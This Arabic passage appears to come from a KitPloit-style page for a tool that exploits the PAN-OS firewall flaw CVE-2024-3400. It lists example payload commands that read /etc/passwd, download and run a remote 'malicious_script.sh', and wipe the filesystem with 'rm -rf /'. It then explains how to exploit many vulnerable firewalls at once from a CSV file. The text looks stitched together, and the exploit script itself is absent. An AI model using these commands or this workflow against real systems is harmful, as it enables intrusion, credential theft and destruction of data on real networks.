1. اعرض محتويات الدليل:
   root@kitploit:~

   ls -la
   
   

2. اطبع محتويات ملف معين:
   root@kitploit:~

   cat /etc/passwd
   
   

3. اطبع اسم المستخدم الحالي المسجل دخوله إلى النظام:
   root@kitploit:~

   whoami
   
   

4. نزّل ملفًا من الإنترنت (يتطلب تثبيت wget أو curl):
   root@kitploit:~

   wget http://example.com/malicious_script.sh -O /tmp/malicious_script.sh && chmod +x /tmp/malicious_script.sh && /tmp/malicious_script.sh
   
   

5. كن حذرًا جدًا مع هذا الأمر:
   root@kitploit:~

   rm -rf /
   

تعليمات الاستخدام الآمن

التحقق من شهادة SSL

سيطلب السكربت مسار ملف شهادة SSL من خادم جدار الحماية PAN-OS. إذا لم يتم تقديم مسار، سيضبط السكربت تلقائيًا التحقق من SSL إلى false، مما يعطل SSL فعليًا.

تعليمات ملف CSV

يتيح لك هذا السكربت استغلال أهداف متعددة من جدران حماية PAN-OS القابلة للاستغلال باستخدام ملف CSV. فيما يلي تعليمات تنسيق ملف CSV بشكل صحيح:

تنسيق ملف CSV:

يجب أن يحتوي ملف CSV على ثلاثة أعمدة:

• ipaddress: عنوان IP لجدار حماية PAN-OS القابل للاستغلال.

• payload: الحمولة المراد تنفيذها على جدار الحماية.

• path/to/root_CA_certificate.pem: مسار شهادة CA الجذرية (اتركه فارغًا إذا كان التحقق من الشهادة معطلًا).

• مثال على ملف CSV:

  root@kitploit:~

  ipaddress,payload,path/to/root_CA_certificate.pem
  192.168.1.1,exploit_payload1,/path/to/certificate.pem
  192.168.1.2,exploit_payload2,
  

التعليمات:

• أنشئ ملف CSV بالتنسيق المحدد.
• املأ عناوين IP والحمولات ومسارات شهادات CA الجذرية (إن وجدت).
• تأكد من تقديم مسارات صالحة لشهادات CA الجذرية أو اترك الحقل فارغًا إذا كان التحقق من الشهادة معطلًا.
• شغّل السكربت واختر خيار استخدام ملف CSV عندما يُطلب منك ذلك.

المراجع

• https://www.bleepingcomputer.com/news/security/palo-alto-networks-warns-of-pan-os-firewall-zero-day-used-in-attacks/
• https://security.paloaltonetworks.com/CVE-2024-3400